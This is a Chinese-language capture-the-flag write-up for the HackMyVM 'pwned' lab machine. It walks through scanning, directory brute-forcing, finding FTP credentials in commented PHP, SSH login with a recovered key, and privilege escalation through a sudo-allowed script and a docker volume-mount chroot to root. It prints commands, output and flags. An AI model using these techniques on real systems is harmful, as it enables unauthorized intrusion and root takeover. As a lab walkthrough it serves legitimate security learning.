hackmyvm-pwned靶机

主机发现

sudo arp-scan -l

 扫描并列出本地主机ip

发现主机ip: 192.168.71.169

nmap 192.168.71.169

 nmap扫描开放端口

22 ftp文件传输协议端口

22 ssh远程连接协议端口

80 web服务页面端口

 

查看web页面收集信息

查看页面元素，发现下面有一段提示信息

目录爆破

sudo gobuster dir -u http://192.168.71.169 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

爆破出来了两个目录

分别查看一下

 

 两个链接，第一个是返回到主页面了，第二个里面是一句话，提示信息

 

查看第二个目录

也是一个跳转链接

还有一个存放着一些目录，很像字典

敏感信息收集

打开看看

wget 下载这个目录下的字典到本地，在用字典跑一下目录，发现有一个敏感目录

 见名知意，发现可能是ftp的用户名和密码，登录上去看看

ftp登录信息

<?php
//	if (isset($_POST['submit'])) {
//		$un=$_POST['username'];
//		$pw=$_POST['password'];
//
//	if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
//		echo "welcome"
//		exit();
// }
// else 
//	echo "Invalid creds"
// }
?>

 查看到有两个文件，全都get 下载到本地，id_rsa，应该是ssh的密钥

 查看note.txt 用户名应该是ariana，尝试一下，登录之前别忘了给chmod 600 id_rsa 加个权限

我已经提前加好了。 

ssh登录

ariana@pwned:~$ ls
ariana-personal.diary  user1.txt
ariana@pwned:~$ cat user1.txt
congratulations you Pwned ariana 

Here is your user flag ↓↓↓↓↓↓↓

fb8d98be1265dd88bac522e1b2182140

Try harder.need become root

第一个user1 flag拿到了

提权

ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

发现用selena 用户执行messenger.sh不用给权限

进入当前目录执行它

sudo -u selena ./messenger.sh 

Welcome to linux.messenger                                                                                                                   10:52:08 [0/0]
                                                                             
                                                                             
ariana:                                                                      
selena:                                                                      
ftpuser:                                                                     
                   
Enter username to send message : selena                          
                   
Enter message for selena :/bin/bash                                          
                   
Sending message to selena 
id                                                                           
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
pwd                                                                          
/home                                                                        
whoami                                                                       
selena        
python3 -c "import pty;pty.spawn('/bin/bash');"
selena@pwned:/home$ ls
ariana  ftpuser  messenger.sh  selena 
selena@pwned:/home$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# cd /root                                                                   
# cat root.txt                        
4d4098d64e163d2726959455d046fd7c                                             
                                      
                                                                             

You found me. i dont't expect this （◎ . ◎）
                                                                             
I am Ajay (Annlynn) i hacked your server left and this for you.              
                                                                             
I trapped Ariana and Selena to takeover your server :)
                                                                             

You Pwned the Pwned congratulations :) 

share the screen shot or flags to given contact details for confirmation 

Telegram   https://t.me/joinchat/NGcyGxOl5slf7_Xt0kTr7g

Instgarm   ajs_walker 

Twitter    Ajs_walker

 选择当前用户，执行bash ，拿到当前用户的shell,发现用户另一个属组是docker，先使用pyhon建立一个临时的shell再使用这个docker脚本反弹最终shell,切换根目录拿到root